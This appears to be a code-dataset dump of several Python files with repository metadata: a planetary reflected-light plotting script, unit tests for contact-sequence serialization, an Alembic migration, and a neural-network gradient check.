lum_k = Ls*(((2/3)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))) + ((1/32)*((Rp/r)**3)*((3*(np.cos(psi))**2)+(2*np.cos(psi))-1)) + (((Rp/r)**4)*(((np.cos(psi))**2)*(np.sin(psi)))/(4*np.pi)) - (((((Rp*Rs)**0.5)/r)**4)*(np.sin(psi))/(4*np.pi)))
PSI[:,j-1] = psi
LUM_K[:,j-1] = lum_k
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] !=0):
psi = np.linspace(2*(j-1)*(np.pi),2*((j-1)+(np.modf(N_Orbit)[0]))*np.pi,1000)
lum_k = Ls*(((2/3)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))) + ((1/32)*((Rp/r)**3)*((3*(np.cos(psi))**2)+(2*np.cos(psi))-1)) + (((Rp/r)**4)*(((np.cos(psi))**2)*(np.sin(psi)))/(4*np.pi)) - (((((Rp*Rs)**0.5)/r)**4)*(np.sin(psi))/(4*np.pi)))
PSI[:,j-1] = psi
LUM_K[:,j-1] = lum_k
plt.plot(psi,lum_k, 'b--')
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Reflected Luminosity ($\mathcal{L}$)', fontsize=16)
#plt.legend(fontsize=14)
plt.legend(['Reflected Light of a Planet over %s Orbits (Kopal, 1954)' %N_Orbit],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.show()
-----------------------------------------------------------------------------
# Luminosity for Close-in Planets (Kopal, 1954) Edit Edit Edit Edit Edit
N_Orbit = 1.25
Angle = np.arcsin((Rp+Rs)/r)
Angle_Deg = math.degrees(np.arcsin((Rp+Rs)/r))
Psi = []
Lum = []
Range = np.linspace(0,2*np.pi,1000)
for psi in Range:
if (-Angle <= psi < Angle):
lum = (Ls/4)*((Rp/r)**2)*(np.cos(psi))*((2/3)+((Rp+Rs)/(2*r)))
Psi.append(psi)
Lum.append(lum)
elif (Angle <= psi <= np.pi-Angle):
lum = Ls*(((2/3)*((Rp/r)**2)*(((np.pi-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))+((1/32)*((Rp/r)**3)*((3*((np.cos(psi))**2))+(2*np.cos(psi))-1))+(((Rp/r)**4)*((np.sin(psi))*((np.cos(psi))**2))/(4*np.pi))-(((((Rp*Rs)**0.5)/(r))**4)*(np.sin(psi))/(4*np.pi)))
Psi.append(psi)
Lum.append(lum)
elif (np.pi-Angle < psi <= np.pi+Angle):
lum = Ls*(((2/3)*((Rp/r)**2)*(((np.pi-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))+((1/32)*((Rp/r)**3)*((3*((np.cos(psi))**2))+(2*np.cos(psi))-1))+(((Rp/r)**4)*((np.sin(psi))*((np.cos(psi))**2))/(4*np.pi))-(((((Rp*Rs)**0.5)/(r))**4)*(np.sin(psi))/(4*np.pi)))
#lum = Ls*((2/3)*((Rp/r)**2)*(((np.pi-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
Psi.append(psi)
Lum.append(lum)
Psi = np.asarray(Psi)
Lum = np.squeeze(np.asarray(Lum))
lum2 = Ls*((2/3)*((Rp/r)**2)*(((np.pi-Psi)*(np.cos(Psi)))+(np.sin(Psi)))/(4*np.pi))
plt.plot(Psi,lum2, 'r--')
plt.plot(Psi,Lum, 'k--')
plt.show()
FD = (Lum/lum2)-1
plt.plot(Psi,FD, 'c--')
plt.legend(['Fractional Difference'],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Frac. Difference', fontsize=16)
plt.show()
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Reflected Luminosity ($\mathcal{L}$)', fontsize=16)
#plt.legend(fontsize=14)
plt.legend(['Reflected Light of a Planet over %s Orbits (Kopal, 1954)' %N_Orbit],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.show()
-----------------------------------------------------------------------------
# Check
x1 = np.linspace(0,0.12933666,1000)
x2 = np.linspace(0.12933666, 2*np.pi,1000)
a = (((np.pi-x)*(np.cos(x)))+(np.sin(x)))/(np.pi)
n = np.cos(x)
plt.plot(x,m, 'm--')
plt.plot(x,n, 'c--')
plt.show()
-----------------------------------------------------------------------------
# Fractional Difference
FD = (LUM_K/LUM)-1
plt.plot(PSI,FD, 'r--')
plt.legend(['Fractional Difference'],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Frac. Difference', fontsize=16)
plt.show()
-----------------------------------------------------------------------------
| 36.987342
| 328
| 0.507757
| 1,550
| 8,766
| 2.832258
| 0.091613
| 0.064692
| 0.05262
| 0.034169
| 0.840774
| 0.822551
| 0.815262
| 0.807973
| 0.807973
| 0.807973
| 0
| 0.062818
| 0.126512
| 8,766
| 236
| 329
| 37.144068
| 0.510513
| 0.052019
| 0
| 0.655172
| 0
| 0
| 0.086217
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.041379
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d0158b29809ea4ff30c822196a0582e88a0af240
| 14,586
|
py
|
Python
|
unittest/python/serialization_examples.py
|
proyan/multicontact-api
|
3ff225a2a114044dda07ee9d933dc060a96cc359
|
[
"BSD-2-Clause"
] | null | null | null |
unittest/python/serialization_examples.py
|
proyan/multicontact-api
|
3ff225a2a114044dda07ee9d933dc060a96cc359
|
[
"BSD-2-Clause"
] | null | null | null |
unittest/python/serialization_examples.py
|
proyan/multicontact-api
|
3ff225a2a114044dda07ee9d933dc060a96cc359
|
[
"BSD-2-Clause"
] | null | null | null |
import pathlib
import unittest
import curves # noqa: requiered to get C++ type exposition
import pinocchio as pin
from multicontact_api import ContactSequence
pin.switchToNumpyArray()
PATH = (pathlib.Path(__file__).parent.parent.parent / 'examples').absolute()
print("PATH : ", PATH)
def assertTrajNotNone(testCase, phase, root, wholeBody):
testCase.assertIsNotNone(phase.c_t)
testCase.assertIsNotNone(phase.dc_t)
testCase.assertIsNotNone(phase.ddc_t)
testCase.assertIsNotNone(phase.L_t)
testCase.assertIsNotNone(phase.dL_t)
if root:
testCase.assertIsNotNone(phase.root_t)
if wholeBody:
testCase.assertIsNotNone(phase.q_t)
testCase.assertIsNotNone(phase.dq_t)
testCase.assertIsNotNone(phase.ddq_t)
testCase.assertIsNotNone(phase.tau_t)
def testTrajMinMax(testCase, phase, root, wholeBody):
testCase.assertTrue(phase.c_t.min() >= 0.)
testCase.assertTrue(phase.dc_t.min() >= 0.)
testCase.assertTrue(phase.ddc_t.min() >= 0.)
testCase.assertTrue(phase.L_t.min() >= 0.)
testCase.assertTrue(phase.dL_t.min() >= 0.)
testCase.assertTrue(phase.c_t.max() >= 0.)
testCase.assertTrue(phase.dc_t.max() >= 0.)
testCase.assertTrue(phase.ddc_t.max() >= 0.)
testCase.assertTrue(phase.L_t.max() >= 0.)
testCase.assertTrue(phase.dL_t.max() >= 0.)
if root:
testCase.assertTrue(phase.root_t.min() >= 0.)
testCase.assertTrue(phase.root_t.max() >= 0.)
if wholeBody:
testCase.assertTrue(phase.q_t.max() >= 0.)
testCase.assertTrue(phase.dq_t.max() >= 0.)
testCase.assertTrue(phase.ddq_t.max() >= 0.)
testCase.assertTrue(phase.tau_t.max() >= 0.)
testCase.assertTrue(phase.q_t.min() >= 0.)
testCase.assertTrue(phase.dq_t.min() >= 0.)
testCase.assertTrue(phase.ddq_t.min() >= 0.)
testCase.assertTrue(phase.tau_t.min() >= 0.)
def testCallTraj(testCase, phase, root, quasistatic, wholeBody):
testCase.assertTrue(phase.c_t((phase.c_t.max() + phase.c_t.min()) / 2.).any())
if not quasistatic:
testCase.assertTrue(phase.dc_t((phase.dc_t.max() + phase.dc_t.min()) / 2.).any())
testCase.assertTrue(phase.ddc_t((phase.ddc_t.max() + phase.ddc_t.min()) / 2.).any())
# testCase.assertTrue(phase.L_t((phase.L_t.max() + phase.L_t.min()) / 2.).any())
# testCase.assertTrue(phase.dL_t((phase.dL_t.max() + phase.dL_t.min()) / 2.).any())
if root:
testCase.assertTrue(phase.root_t.max() >= 0.)
if wholeBody:
testCase.assertTrue(phase.q_t((phase.q_t.max() + phase.q_t.min()) / 2.).any())
testCase.assertTrue(phase.dq_t((phase.dq_t.max() + phase.dq_t.min()) / 2.).any())
testCase.assertTrue(phase.ddq_t((phase.ddq_t.max() + phase.ddq_t.min()) / 2.).any())
testCase.assertTrue(phase.tau_t((phase.tau_t.max() + phase.tau_t.min()) / 2.).any())
def testEffectorTraj(testCase, phase):
for eeName, traj in phase.effectorTrajectories().items():
testCase.assertIsNotNone(traj)
testCase.assertTrue(traj.min() >= 0.)
testCase.assertTrue(traj.max() >= 0.)
testCase.assertTrue(traj((traj.min() + traj.max()) / 2.).any())
def testContactForce(testCase, phase):
for eeName, traj in phase.contactForces().items():
testCase.assertIsNotNone(traj)
testCase.assertTrue(traj.min() >= 0.)
testCase.assertTrue(traj.max() >= 0.)
testCase.assertTrue(traj((traj.min() + traj.max()) / 2.).any())
def checkPhase(testCase, phase, root=False, quasistatic=False, effector=False, wholeBody=False):
assertTrajNotNone(testCase, phase, root, wholeBody)
testTrajMinMax(testCase, phase, root, wholeBody)
testCallTraj(testCase, phase, root, quasistatic, wholeBody)
if effector:
testEffectorTraj(testCase, phase)
if wholeBody:
testContactForce(testCase, phase)
def checkCS(testCase, cs, root=False, quasistatic=False, effector=False, wholeBody=False):
for phase in cs.contactPhases:
checkPhase(testCase, phase, root, quasistatic, effector, wholeBody)
class ExamplesSerialization(unittest.TestCase):
def test_com_motion_above_feet_COM(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "com_motion_above_feet_COM.cs"))
self.assertEqual(cs.size(), 1)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
checkCS(self, cs)
def test_com_motion_above_feet_WB(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "com_motion_above_feet_WB.cs"))
self.assertEqual(cs.size(), 1)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveJointsTrajectories())
self.assertTrue(cs.haveJointsDerivativesTrajectories())
self.assertTrue(cs.haveContactForcesTrajectories())
self.assertTrue(cs.haveZMPtrajectories())
checkCS(self, cs, wholeBody=True)
def test_step_in_place(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
def test_step_in_place_COM(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_COM.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
checkCS(self, cs, effector=False, wholeBody=False)
def test_step_in_place_REF(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_REF.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories(1e-6, False))
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, root=True, effector=True, wholeBody=False)
def test_step_in_place_WB(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_WB.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories(1e-1))
self.assertTrue(cs.haveJointsTrajectories())
self.assertTrue(cs.haveJointsDerivativesTrajectories())
self.assertTrue(cs.haveContactForcesTrajectories())
self.assertTrue(cs.haveZMPtrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, effector=True, wholeBody=True)
def test_step_in_place_quasistatic(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_quasistatic.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
def test_step_in_place_quasistatic_COM(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_quasistatic_COM.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
checkCS(self, cs, quasistatic=True, effector=False, wholeBody=False)
def test_step_in_place_quasistatic_REF(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_quasistatic_REF.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, root=True, quasistatic=True, effector=True, wholeBody=False)
def test_step_in_place_quasistatic_WB(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "step_in_place_quasistatic_WB.cs"))
self.assertEqual(cs.size(), 9)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories(1e-1))
self.assertTrue(cs.haveJointsTrajectories())
self.assertTrue(cs.haveJointsDerivativesTrajectories())
self.assertTrue(cs.haveContactForcesTrajectories())
self.assertTrue(cs.haveZMPtrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, quasistatic=True, effector=True, wholeBody=True)
def test_walk_20cm(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm.cs"))
self.assertEqual(cs.size(), 23)
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
self.assertTrue(cs.haveConsistentContacts())
def test_walk_20cm_COM(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_COM.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
checkCS(self, cs, effector=False, wholeBody=False)
def test_walk_20cm_REF(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_REF.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, root=True, effector=True, wholeBody=False)
def test_walk_20cm_WB(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_WB.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories(1e-1))
self.assertTrue(cs.haveJointsTrajectories())
self.assertTrue(cs.haveJointsDerivativesTrajectories())
self.assertTrue(cs.haveContactForcesTrajectories())
self.assertTrue(cs.haveZMPtrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, effector=True, wholeBody=True)
def test_walk_20cm_quasistatic(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_quasistatic.cs"))
self.assertEqual(cs.size(), 23)
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
self.assertTrue(cs.haveConsistentContacts())
def test_walk_20cm_quasistatic_COM(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_quasistatic_COM.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertFalse(cs.haveFriction())
self.assertFalse(cs.haveContactModelDefined())
checkCS(self, cs, quasistatic=True, effector=False, wholeBody=False)
def test_walk_20cm_quasistatic_REF(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_quasistatic_REF.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, root=True, quasistatic=True, effector=True, wholeBody=False)
def test_walk_20cm_quasistatic_WB(self):
cs = ContactSequence()
cs.loadFromBinary(str(PATH / "walk_20cm_quasistatic_WB.cs"))
self.assertEqual(cs.size(), 23)
self.assertTrue(cs.haveConsistentContacts())
self.assertTrue(cs.haveTimings())
self.assertTrue(cs.haveCentroidalValues())
self.assertTrue(cs.haveCentroidalTrajectories())
self.assertTrue(cs.haveEffectorsTrajectories(1e-1))
self.assertTrue(cs.haveJointsTrajectories())
self.assertTrue(cs.haveJointsDerivativesTrajectories())
self.assertTrue(cs.haveContactForcesTrajectories())
self.assertTrue(cs.haveZMPtrajectories())
self.assertTrue(cs.haveFriction())
self.assertTrue(cs.haveContactModelDefined())
checkCS(self, cs, quasistatic=True, effector=True, wholeBody=True)
if __name__ == '__main__':
unittest.main()
| 44.066465
| 96
| 0.685932
| 1,556
| 14,586
| 6.305913
| 0.067481
| 0.149817
| 0.171219
| 0.042193
| 0.887179
| 0.860885
| 0.789951
| 0.755911
| 0.738585
| 0.722687
| 0
| 0.008723
| 0.182641
| 14,586
| 330
| 97
| 44.2
| 0.814293
| 0.013917
| 0
| 0.640138
| 0
| 0
| 0.030739
| 0.019821
| 0
| 0
| 0
| 0
| 0.647059
| 1
| 0.086505
| false
| 0
| 0.017301
| 0
| 0.107266
| 0.00346
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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| 0
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| 0
| 0
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| 0
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| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d029e1207c316aa401d844277a55c3ee56d037bb
| 2,321
|
py
|
Python
|
migrations/versions/2018_12_05_not_nullable_fields.py
|
AlexKouzy/ethnicity-facts-and-figures-publisher
|
18ab2495a8633f585e18e607c7f75daa564a053d
|
[
"MIT"
] | 1
|
2021-10-06T13:48:36.000Z
|
2021-10-06T13:48:36.000Z
|
migrations/versions/2018_12_05_not_nullable_fields.py
|
AlexKouzy/ethnicity-facts-and-figures-publisher
|
18ab2495a8633f585e18e607c7f75daa564a053d
|
[
"MIT"
] | 116
|
2018-11-02T17:20:47.000Z
|
2022-02-09T11:06:22.000Z
|
migrations/versions/2018_12_05_not_nullable_fields.py
|
racedisparityaudit/rd_cms
|
a12f0e3f5461cc41eed0077ed02e11efafc5dd76
|
[
"MIT"
] | 2
|
2018-11-09T16:47:35.000Z
|
2020-04-09T13:06:48.000Z
|
"""Make more fields in classification tables not nullable
Revision ID: 2018_12_05_not_nullable_fields
Revises: 2018_12_05_fix_page_constraint
Create Date: 2018-12-05 18:47:41.680614
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = "2018_12_05_not_nullable_fields"
down_revision = "2018_12_05_fix_page_constraint"
branch_labels = None
depends_on = None
def upgrade():
op.alter_column("dimension_categorisation", "includes_all", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_categorisation", "includes_parents", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_categorisation", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_chart", "includes_all", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_chart", "includes_parents", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_chart", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_table", "includes_all", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_table", "includes_parents", existing_type=sa.BOOLEAN(), nullable=False)
op.alter_column("dimension_table", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=False)
def downgrade():
op.alter_column("dimension_table", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_table", "includes_parents", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_table", "includes_all", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_chart", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_chart", "includes_parents", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_chart", "includes_all", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_categorisation", "includes_unknown", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_categorisation", "includes_parents", existing_type=sa.BOOLEAN(), nullable=True)
op.alter_column("dimension_categorisation", "includes_all", existing_type=sa.BOOLEAN(), nullable=True)
| 56.609756
| 111
| 0.784145
| 304
| 2,321
| 5.674342
| 0.1875
| 0.073043
| 0.135652
| 0.229565
| 0.863188
| 0.863188
| 0.805217
| 0.805217
| 0.8
| 0.8
| 0
| 0.024517
| 0.08617
| 2,321
| 40
| 112
| 58.025
| 0.788779
| 0.094356
| 0
| 0
| 0
| 0
| 0.309456
| 0.097421
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076923
| false
| 0
| 0.076923
| 0
| 0.153846
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d09f971f9e2cfa5939d0ccf9e8b70f124260e142
| 4,712
|
py
|
Python
|
test/gradTestTrHess.py
|
EmoryMLIP/OT-Flow
|
c1851a4da3aa131df1df6132b83d5186c154087e
|
[
"MIT"
] | 31
|
2020-06-18T10:51:03.000Z
|
2022-03-10T19:58:36.000Z
|
test/gradTestTrHess.py
|
EmoryMLIP/OT-Flow
|
c1851a4da3aa131df1df6132b83d5186c154087e
|
[
"MIT"
] | null | null | null |
test/gradTestTrHess.py
|
EmoryMLIP/OT-Flow
|
c1851a4da3aa131df1df6132b83d5186c154087e
|
[
"MIT"
] | 8
|
2020-09-09T23:52:50.000Z
|
2022-03-11T21:19:20.000Z
|
# gradTestTrHess.py
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
from src.Phi import Phi
import torch.nn.utils
import copy
import torch.nn as nn
doPlots = True
d = 2
m = 5
nTh = 3
net = Phi(nTh=nTh, m=m, d=d)
net.double()
# vecParams = nn.utils.convert_parameters.parameters_to_vector(net.parameters())
x = torch.randn(1,3).type(torch.double)
x.requires_grad = True
y = net(x)
v = torch.randn(x.shape).type(torch.double)
# ------------------------------------------------
# f
# nablaPhi = net.trHess(x)[0]
g = net.trHess(x)[0]
niter = 20
h0 = 0.1
E0 = []
E1 = []
hlist = []
for i in range(niter):
h = h0**i
hlist.append(h)
E0.append( torch.norm(net( x + h * v ) - net(x)) )
E1.append( torch.norm(net( x + h * v ) - net(x) - h * torch.matmul(g , v.t())) )
for i in range(niter):
print("{:f} {:.6e} {:.6e}".format( hlist[i] , E0[i].item() , E1[i].item() ))
if doPlots:
plt.plot(hlist,E0, label='E0')
plt.plot(hlist,E1, label='E1')
plt.yscale('log')
plt.xscale('log')
plt.legend()
plt.show()
print("\n")
# ------------------------------------------------
# f is the gradient wrt x computation
# trH = net.trHess(x)[1]
input = torch.randn(1,3).type(torch.double)
fx = net.trHess(input)[1]
vecX = copy.copy(nn.utils.convert_parameters.parameters_to_vector(net.parameters()))
v = torch.randn(vecX.shape).type(torch.double)
netV = Phi(nTh=nTh, m=m, d=d).double() # make another copy for shape info
# jacobian of fx wrt x
# g = torch.autograd.grad(fx,net.w.weight, retain_graph=True, create_graph=True, allow_unused=True)
g = torch.autograd.grad(fx,net.parameters(), retain_graph=True, create_graph=True, allow_unused=True)
nn.utils.convert_parameters.vector_to_parameters(v, netV.parameters()) # structure v into the tensors
gv = 0.0
for gi, vi in zip(g, netV.parameters()):
if gi is not None: # if gi is None, then that means the gradient there is 0
gv += torch.matmul(gi.view(1, -1), vi.view(-1, 1))
niter = 20
h0 = 0.1
E0 = []
E1 = []
hlist = []
for i in range(1,niter):
h = h0**i
hlist.append(h)
newVec = vecX + h*v
nn.utils.convert_parameters.vector_to_parameters(newVec, net.parameters()) # set parameters
fxhv = net.trHess(input)[1]
# print(newVec[0:3])
# print(vecX[0:3])
# print("{:.6f} {:.6f} {:.6e}".format(fxhv.item(), fx.item() , torch.norm(net.w.weight - torch.ones(5).type(torch.double)).item()))
fdiff = fxhv - fx
res0 = torch.norm(fdiff)
E0.append( res0 )
res1 = torch.norm(fdiff - h * gv)
E1.append( res1 )
print(" ")
for i in range(niter-1):
print("{:e} {:.6e} {:.6e}".format( hlist[i] , E0[i].item() , E1[i].item() ))
if doPlots:
plt.plot(hlist,E0, label='E0')
plt.plot(hlist,E1, label='E1')
plt.yscale('log')
plt.xscale('log')
plt.legend()
plt.show()
print("\n")
# ------------------------------------------------
# f is the trace of the Hessian computation
# trH = net.trHess(x)[0]
input = torch.randn(1,3).type(torch.double)
fx = torch.sum(net.trHess(input)[0])
vecX = copy.copy(nn.utils.convert_parameters.parameters_to_vector(net.parameters()))
v = torch.randn(vecX.shape).type(torch.double)
netV = Phi(nTh=nTh, m=m, d=d).double() # make another copy for shape info
# jacobian of fx wrt x
# g = torch.autograd.grad(fx,net.w.weight, retain_graph=True, create_graph=True, allow_unused=True)
g = torch.autograd.grad(fx,net.parameters(), retain_graph=True, create_graph=True, allow_unused=True)
nn.utils.convert_parameters.vector_to_parameters(v, netV.parameters()) # structure v into the tensors
gv = 0.0
for gi, vi in zip(g, netV.parameters()):
if gi is not None: # if gi is None, then that means the gradient there is 0
gv += torch.matmul(gi.view(1, -1), vi.view(-1, 1))
niter = 20
h0 = 0.1
E0 = []
E1 = []
hlist = []
for i in range(1,niter):
h = h0**i
hlist.append(h)
newVec = vecX + h*v
nn.utils.convert_parameters.vector_to_parameters(newVec, net.parameters()) # set parameters
fxhv = torch.sum(net.trHess(input)[0])
# print(newVec[0:3])
# print(vecX[0:3])
# print("{:.6f} {:.6f} {:.6e}".format(fxhv.item(), fx.item() , torch.norm(net.w.weight - torch.ones(5).type(torch.double)).item()))
fdiff = fxhv - fx
res0 = torch.norm(fdiff)
E0.append( res0 )
res1 = torch.norm(fdiff - h * gv)
E1.append( res1 )
print(" ")
for i in range(niter-1):
print("{:e} {:.6e} {:.6e}".format( hlist[i] , E0[i].item() , E1[i].item() ))
if doPlots:
plt.plot(hlist,E0, label='E0')
plt.plot(hlist,E1, label='E1')
plt.yscale('log')
plt.xscale('log')
plt.legend()
plt.show()
| 23.678392
| 137
| 0.611205
| 756
| 4,712
| 3.76455
| 0.161376
| 0.019677
| 0.042164
| 0.05903
| 0.875615
| 0.853127
| 0.836964
| 0.815531
| 0.815531
| 0.754744
| 0
| 0.029207
| 0.178905
| 4,712
| 198
| 138
| 23.79798
| 0.706384
| 0.262309
| 0
| 0.778761
| 0
| 0
| 0.028821
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.053097
| 0
| 0.053097
| 0.061947
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
